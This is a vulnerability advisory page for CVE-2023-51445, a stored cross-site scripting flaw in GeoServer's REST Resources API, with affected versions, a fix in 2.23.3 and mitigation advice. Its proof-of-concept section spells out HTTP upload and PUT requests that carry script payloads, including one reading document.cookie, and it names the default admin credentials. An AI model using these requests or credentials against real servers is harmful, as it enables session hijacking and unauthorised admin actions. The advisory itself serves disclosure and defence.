CVE-2023-51445 is a medium-severity (CVSS 4.8) Cross-site Scripting (XSS) vulnerability in org.geoserver:gs-restconfig. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for org.geoserver:gs-restconfig — see the affected versions and patch details below.
GeoServer Stored Cross-Site Scripting (XSS) vulnerability in REST Resources API
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-51445.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
org.geoserver:gs-restconfigReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A stored cross-site scripting (XSS) vulnerability exists that enables an authenticated administrator with workspace-level privileges to store a JavaScript payload in uploaded style/legend resources that will execute in the context of another administrator's browser when viewed in the REST Resources API. Access to the REST Resources API is limited to full administrators by default and granting non-administrators access to this endpoint should be carefully considered as it may allow access to files containing sensitive information.
Details
Upload a new Legend via the New Style page if user has permissions for this. This file is then not checked and is uploaded to the backend system. This file can then be viewed directly by requesting it via the API which will then view the file in its raw format without sanitisation.
PoC
1 .User makes the following request to upload file.
POST /geoserver/web/wicket/bookmarkable/org.geoserver.wms.web.data.StyleNewPage?11-1.IBehaviorListener.0-dialog-dialog-content-form-submit&wicket-ajax=true&wicket-ajax-baseurl=wicket%2Fbookmarkable%2Forg.geoserver.wms.web.data.StyleNewPage%3F11 HTTP/1.1
Host: geoserver:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------37957706701641834739220342753
Content-Length: 619
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------37957706701641834739220342753
Content-Disposition: form-data; name="id89_hf_0"
-----------------------------37957706701641834739220342753
Content-Disposition: form-data; name="userPanel:image"
-----------------------------37957706701641834739220342753
Content-Disposition: form-data; name="userPanel:upload"; filename="test.html"
Content-Type: text/html
<script>alert(document.cookie)</script>
-----------------------------37957706701641834739220342753
Content-Disposition: form-data; name="p::submit"
1
-----------------------------37957706701641834739220342753--
-
File is uploaded to the backend system and is viewable via the API at - /geoserver/rest/resourse/styles as per the screenshot above.
-
If admin user views this file the Javascript is executed and this could be used to craft a payload to steal the user's cookies(as these do not currently use HTTPOnly)
Alternatively -
If the user has permissions to use the API to make PUT requests then they can directly upload malicious files as per a request below. This would be viewable in the same way as above.
PUT /geoserver/rest/resource/styles/test2.html HTTP/1.1 Host: geoserver:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46Z2Vvc2VydmVy (admin:geoserver default credentials) Connection: close Upgrade-Insecure-Requests: 1 Content-Type: text/html Content-Length: 29
<script>alert(1)</script>Impact
If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:
1 .Perform any action within the application that the user can perform. 2. View any information that the user is able to view. 3. Modify any information that the user is able to modify. 4. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.
References
https://osgeo-org.atlassian.net/browse/GEOS-11148 https://github.com/geoserver/geoserver/pull/7161
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.geoserver:gs-restconfig | all versions | 2.23.3org.geoserver:gs-restconfig:2.23.3 |
Affected Products
geoservergeoserverResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.geoserver:gs-restconfig, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.geoserver:gs-restconfig to 2.23.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-51445 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is CVE-2023-51445 in your dependencies?
Find it across Maven, including transitive dependencies.